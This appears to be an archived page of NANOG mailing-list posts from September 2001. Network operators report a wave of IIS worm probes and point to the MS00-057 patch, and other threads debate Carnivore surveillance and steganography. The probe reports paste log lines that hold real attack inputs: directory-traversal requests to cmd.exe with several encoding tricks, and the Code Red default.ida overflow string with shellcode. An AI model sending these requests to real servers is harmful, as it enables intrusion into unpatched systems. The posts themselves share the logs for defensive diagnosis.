- NANOG - lists.nanog.org

FW: Re: Worm probes
by Roeland Meyer 18 Sep '01

18 Sep '01

|> -----Original Message----- |> From: Jaco Engelbrecht [mailto:bje@serendipity.org.za] |> Sent: Tuesday, September 18, 2001 9:01 AM |> To: Roeland Meyer |> Subject: Re: Worm probes |> |> |> Hi, |> |> Sorry for emailling you directly, but I can't post to the nanog list. |> It's `Code Blue` that's going around atm. |> |> Will bounce you a seperate message now. |> |> Regards, |> Jaco |> |> -----Original Message----- Received: from serendipity.org.za ([196.14.22.14]) by condor.mhsc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id SBLN3KQ6; Tue, 18 Sep 2001 09:02:18 -0700 Received: from nobody by serendipity.org.za with scanned_ok (Exim 3.22 #6) id 15jNJQ-0003O1-00 for rmeyer(a)mhsc.com; Tue, 18 Sep 2001 18:01:28 +0200 Received: from etna.serendipity.org.za ([196.14.22.132] helo=etna) by serendipity.org.za with smtp (Exim 3.22 #6) id 15jNJP-0003Ns-00 for rmeyer(a)mhsc.com; Tue, 18 Sep 2001 18:01:27 +0200 Message-ID: <03e301c1405b$b728cab0$84160ec4(a)serendipity.org.za> From: "Jaco Engelbrecht" <bje(a)serendipity.org.za> To: "Roeland Meyer" <rmeyer(a)mhsc.com> Subject: Fw: [hamster(a)vom.tm: Re: New worm going 'round?] (fwd) Date: Tue, 18 Sep 2001 18:05:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Checked: This message has been scanned for any virusses and unauthorized attachments. X-iScan: Version $Id: iScan,v 1.35 2001/03/04 20:15:54 rip Exp $ |> From: Jaco Engelbrecht [mailto:bje@serendipity.org.za] |> Sent: Tuesday, September 18, 2001 9:05 AM |> To: Roeland Meyer |> Subject: Fw: [hamster(a)vom.tm: Re: New worm going 'round?] (fwd) |> Importance: High |> |> |> Hi Roland, |> |> `Code Blue` - see http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fsection%3Dex ploit%26vid%3D1806 |> |> And for the the solution: |> "The patch released with the advisory MS00-057 |> (http://www.microsoft.com/technet/security/bulletin/ms00-057.asp) |> eliminates this vulnerability, therefore those who have already |> applied this patch do not have to take any further action. Otherwise, |> the patch is available |> at the following locations: |> |> IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp |> IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp" |> |> Regards, |> Jaco |> |> -- |> bje(a)serendipity.org.za |> the faculty of making fortunate discoveries |> |> ----- Forwarded message from The Flying Hamster |> <hamster(a)vom.tm> ----- |> |> Date: Tue, 18 Sep 2001 15:36:20 +0100 |> From: The Flying Hamster <hamster(a)vom.tm> |> To: list(a)inet-access.net |> Subject: Re: New worm going 'round? |> Reply-To: list(a)inet-access.net |> |> On Tue, Sep 18, 2001 at 10:31:59AM -0400, Gerald T. Freymann wrote: |> > If I tail -f httpd-error.log these errors are going by |> faster than I |> can |> > read! omg! |> |> Same here, the signature requests appear to be |> |> GET /MSADC/root.exe?/c+dir HTTP/1.0 |> GET |> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir |> HTTP/1.0 |> GET /_vti_bin/..%255c../..%25 |> GET |> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir |> HTTP/1.0 |> GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET |> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c |> 1%1c../wi |> nnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/root.exe?/c+dir HTTP/1.0 |> |> It looks like each of these are tried against each IP being probed. |> |> -- |> The Flying Hamster <hamster(a)suespammers.org> |> http://hamster.wibble.org/ |> "Unarmed...and extremely attractive." -- Dana Scully on Windows 95 |> - |> Recent archives of the list can be found at: |> http://mix.twistedpair.ca/pipermail/inet-access/ |> Send 'unsubscribe' in the body to 'list-request(a)inet-access.net' to |> leave. |> Eat sushi frequently. inet(a)inet-access.net is the human contact |> address. |> |> ----- End forwarded message ----- |> |> |> |>

1 0

RE: Worm probes
by Los, Ralph 18 Sep '01

18 Sep '01

Yes! Although I've got different things on my radar than the other backtick posts +cmd+root.exe, etc, etc, etc...I've got this still, which looks like Code Red....yes, still. Regards, 2001-09-18 05:08:50 Offender.ip.addr - W3SVC10 websrv My.web.srvr 10031 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 400 121 0 1460 924485 HTTP/1.0 - - - - 2001-09-18 09:57:29 Offender.ip.addr - W3SVC10 websrv My.web.srvr 10031 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 400 121 0 1460 915547 HTTP/1.0 - - - - 2001-09-18 10:50:31 Offender.ip.addr - W3SVC10 websrv My.web.srvr 10031 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 400 121 0 1460 922516 HTTP/1.0 - - - - Ralph M. Los Asst. Vice-President, Internet Systems and Security EnvestnetPMC rlos(a)envestnet.com (312) 827-3945 (direct) (312) 296-9003 (wireless w/voicemail) * If you haven't been hacked, you don't know where your vulnerabilities lie* -----Original Message----- From: sigma(a)pair.com [mailto:sigma@pair.com] Sent: Tuesday, September 18, 2001 8:55 AM To: nanog(a)merit.edu Subject: Worm probes Has anyone else been seeing a dramatic increase in /scripts/.. NT worm probes this morning? We're seeing about 8000/second, starting around 9:15 Eastern time, to and from a wide variety of addresses. Is CodeRed or one of its relatives scheduled to start sweeping again today? We've never seen this level of traffic related to the NT worms. Even though we don't run any NT at all, we still have to suffer :( Kevin

1 0

RE: Worm probes
by Don Lundquist 18 Sep '01

18 Sep '01

Same here.... a lot of activity..... seems to be a pattern closely resembling Code Red.... - - [18/Sep/2001:09:28:57 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:57 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:57 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:58 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:58 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-" - - [18/Sep/2001:09:28:59 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-" - - [18/Sep/2001:09:28:59 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" - - [18/Sep/2001:09:28:59 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" Don -----Original Message----- From: sigma(a)pair.com [mailto:sigma@pair.com] Sent: Tuesday, September 18, 2001 9:55 AM To: nanog(a)merit.edu Subject: Worm probes Has anyone else been seeing a dramatic increase in /scripts/.. NT worm probes this morning? We're seeing about 8000/second, starting around 9:15 Eastern time, to and from a wide variety of addresses. Is CodeRed or one of its relatives scheduled to start sweeping again today? We've never seen this level of traffic related to the NT worms. Even though we don't run any NT at all, we still have to suffer :( Kevin

1 0

Re: Just Carnivore (was: Yahoogroups and Carnivore)
by Marshall Eubanks 18 Sep '01

18 Sep '01

> >On Mon, 17 Sep 2001 18:01:53 PDT, Roeland Meyer <rmeyer(a)mhsc.com> said: >> However, given mil-grade VPNs these days, there is no way they can read what >> you sent. They can only tell that you sent something. However, I just >> discovered the Steganography stuff in my SuSE Linux distribution, hmmmmm. >> But, they still know where it came from and where it went. > >As Bruce Schneier said, the problem with steganography is that you need >a good cover story for why you're mailing JPG's of giraffes back and forth... > > Dear Vladis; You need to to separate the forward and the inverse problems here. Inverse problem : Can you find a few message bytes in gigabytes of files going back and forth between everyone on the web, or even on an ISP, in order to find a target ? Probably not; at least its tough. Forward problem : GIVEN A TARGET, can you look at all of their traffic over and over until you find their message bytes buried in their traffic ? Much higher probability. And, say, porn to Pakistan will appear in a new light. I would submit that Carnivore from what I have seen deals with the easier forward problem. Marshall Eubanks tme(a)21rst-century.com

1 0

RE: Just Carnivore (was: Yahoogroups and Carnivore)
by Roeland Meyer 18 Sep '01

18 Sep '01

|> From: Valdis.Kletnieks(a)vt.edu [mailto:Valdis.Kletnieks@vt.edu] |> Sent: Monday, September 17, 2001 11:27 PM |> |> On Mon, 17 Sep 2001 22:36:53 PDT, Roeland Meyer said: |> > So, Bruce Schneier, when posing that problem, must have |> had his imagination |> > disengaged. There is more than adequate cover story for |> passing huge JPGs |> > around. |> |> No, he actually had his brain engaged. His point was that |> if you're trying |> to use steganography to move data around under the nose of a |> government that's |> actively trying to catch you at something, you can't just |> start sending |> files around, because that would set off traffic pattern |> analysis warnings. |> |> http://www.counterpane.com/crypto-gram-9810.html#steganograph |> y for the whole story. Yes, and neither of you have yet been to www.ofoto.com have you? One of my clients is yet another photo sharing site. In two years, customer photos took up over 3 TeraBytes worth of RAID space. Snapshots are 1) original content, 2) very large, 3) numerous as hell, 4) not porn, and 5) there are LOTS of innocent people doing it. Also, when folks upload photos, they don't do just one. They do half a roll, or more, so you don't have to embed a message in every one of them. In addition, one could encrypt the message prior to embedding it. Since it is original content there is no other picture to compare it to, in order to detect alteration. No one else has access to the original, but you. You can further, destroy all non-steg enhanced originals. For a news site that publishes original content, the arguments are the same. What are you going to compare the photos to? It's the original that's been "doctored". If you have support of the local government, there are no "Secret Police" issues, and your "photos" get sent to every web-browser that takes a peek. If you don't keep visit logs then no one knows who has seen the pretty pictures and decoded their content. After having read the article (thanks), I think that Bruce was being improperly dismissive. He applied special case arguments (a specific context) to the general case. The cutter had a dull knife that day ... it happens. The true operational model is quite different from the one that Bruce envisioned in his argument. This is a more complete reason why I suggested that we all start observing the proscription lists, from US State. A site like www.lybia.com or www.taliban.com, operated with such intention, and hosted in a US colo facility, and fed through an SSH tunnel, can otherwise operate with impunity. We would never even know otherwise. We have no such "Secret Police" and I'd really rather not have them. KGB was sufficient trouble in the USSR. We don't need FBI thinking/acting like them. CALEA is bad enough, thank you. Understandibly, I have personal reasons for wanting to see that photo sharing sites remain unmolested and none of the ones, I have mentioned here, are on my client list. Yes, there are counter-measure that those sites could take. They aren't taking them right now. Equally, there are ways around those counter-measures. 'nuff said.

1 0

RE: Just Carnivore (was: Yahoogroups and Carnivore)
by Roeland Meyer 18 Sep '01

18 Sep '01

|> From: Valdis.Kletnieks(a)vt.edu [mailto:Valdis.Kletnieks@vt.edu] |> Sent: Monday, September 17, 2001 10:10 PM |> |> On Mon, 17 Sep 2001 18:01:53 PDT, Roeland Meyer |> <rmeyer(a)mhsc.com> said: |> > However, given mil-grade VPNs these days, there is no way |> they can read what |> > you sent. They can only tell that you sent something. |> However, I just |> > discovered the Steganography stuff in my SuSE Linux |> distribution, hmmmmm. |> > But, they still know where it came from and where it went. |> |> As Bruce Schneier said, the problem with steganography is |> that you need |> a good cover story for why you're mailing JPG's of giraffes |> back and forth... I can actually see lots of applications for steganography; Stealth porn on a public web-site, for example. But for purposes of clandestine communications with and far-flung org, use a news content site that has pictures and imbed messages in the news content pictures. A site like www.Kavkaz.org, for an example, could be used to transmit messages in such a way. Another method is to take advantage of a photo album sharing site like www.ofoto.com. Whom is to know that a mega-pixel image isn't just an image of the family dog? Photos are just the easiest thing, there are other multi-media content vehicles. However, most folks aren't sufficiently talented to be able to post original music. I imagine that the terrorist population has no larger percentage of musical composers than the general populous. Whereas, people generally take snapshots like crazy. I am reasonably sure that Casper the friendly ghost has either thought of, or used, most of them, at one time or another. I can't think that your average terrorist scum-bag has any less of an imagination. So, Bruce Schneier, when posing that problem, must have had his imagination disengaged. There is more than adequate cover story for passing huge JPGs around.

3 2

RE: Just Carnivore (was: Yahoogroups and Carnivore)
by Roeland Meyer 18 Sep '01

18 Sep '01

|> From: Larry Diffey [mailto:ldiffey@technologyforward.com] |> Sent: Monday, September 17, 2001 4:22 PM |> Let's see, I want to send email to someone but I want it to |> be completely |> anonymous. I go to safeweb.com or any other anonomizer and |> get myself a |> hotmail address. I then send it to the recipient with PGP |> encoded text. He |> logs on to hotmail through anonomizer and retrieves it, |> decodes it and reads |> it. If I was really smart I'd bounce around a couple of |> other proxies while |> I was at it. The only way this works is that you route to someone, that has a VPN pipe to somewhere else.... nah, even that won't work. You can encrypt the packets but you can't do it anonymously, unless you are at a public access point. Even so, they can identify the MAC addr. That, plus the time-stamp, and you're nailed. All they need is the motivation. However, given mil-grade VPNs these days, there is no way they can read what you sent. They can only tell that you sent something. However, I just discovered the Steganography stuff in my SuSE Linux distribution, hmmmmm. But, they still know where it came from and where it went. The problem is that, it's looking for a camoflaged needle in a camoflaged needle stack, all of which are capable of changing patterns, like a chameleon. First you have to find it and then figure out what it is. That processing capability doesn't yet exist. Certainly not under WinNT and the typical hardware it runs on. All that they can tell is that encrypted traffic went from point A to point B.

3 2

CNN.com - Officials: Government failed to react to FAA warning - September 17, 2001
by daryl＠daryl.org 18 Sep '01

18 Sep '01

Do you guys think that this is BS? ******************** If you are having trouble with any of the links in this message, or if the URL's are not appearing as links, please follow the instructions at the bottom of this email. Title: CNN.com - Officials: Government failed to react to FAA warning - September 17, 2001 Copy and paste the following into your Web browser to access the sent link: http://www.emailthis.clickability.com/et/emailThis?clickMap=viewThis&etMail… Copy and paste the following into your Web browser to SAVE THIS link: http://www.savethis.clickability.com/st/saveThisPopupApp?clickMap=saveFromE… Copy and paste the following into your Web browser to forward this link: http://www.emailthis.clickability.com/et/emailThis?clickMap=forward&etMailT… *Please note, the sender's email address has not been verified. ******************** Email pages from any Web site you visit - add the EMAIL THIS button to your browser, copy and paste the following into your Web browser: http://www.emailthis.clickability.com/et/emailThis?clickMap=browserButtons&…" Instructions: ----------------------------------------- If your e-mail program doesn't recognize Web addresses: 1. With your mouse, highlight the Web Address above. Be sure to highlight the entire Web address, even if it spans more than one line in your email. 2. Select Copy from the Edit menu at the top of your screen. 3. Launch your Web browser. 4. Paste the address into your Web browser by selecting Paste from the Edit menu. 5. Click Go or press Enter or Return on your keyboard. ********************

1 0

Clueful person from charter...
by Eric Whitehill 18 Sep '01

18 Sep '01

Can I please get someone from CharterMI.net to contact me off list? I'm having some issues and can't seem to get them resolved through esclation. Couldn't find contact info on nether.net....sorry I had to resort to this. Thanks, Eric

1 0

RE: Just Carnivore (was: Yahoogroups and Carnivore)
by Stafford, Todd 18 Sep '01

18 Sep '01

> Supposedly Carnivore only targets specific kinds of traffic and doesn't > really monitor everything at once. It's not like (again, supposedly) > Echelon that examines everything and then red flags certain items. > Carnivore is only looking for certain things. Also, there is no outside > access to it. Someone has to physically come in and remove the mass media > (what ever that may be: more than likely a hard drive). Afraid I'd have to say that in this instance your conclutsions are inaccurate. For more information, see the FBI's Carnicore site at http://www.fbi.gov/hq/lab/carnivore/carnivore2.htm > Let's see, I want to send email to someone but I want it to be completely > anonymous. I go to safeweb.com or any other anonomizer and get myself a > hotmail address. I then send it to the recipient with PGP encoded text. He > logs on to hotmail through anonomizer and retrieves it, decodes it and reads > it. If I was really smart I'd bounce around a couple of other proxies while > I was at it. Again, check out the above link. Your idea of going to an anonmizer would be useless as Carnivore scans the traffic directly from your ISP.....before it ever gets to the anonmizer. Granted, encrypting your message before ever logging onto your ISP and then sending it via it's encrypted format would prevent it from being read in cleartext but considering what Congress is proposing, the sending of encrypted messages could be just what the FBI would need to start looking deeper into your life. > Carnivore? Toothless! No breach or attempted breach of one's civil liberties is toothless....especially the right to privacy.

2 1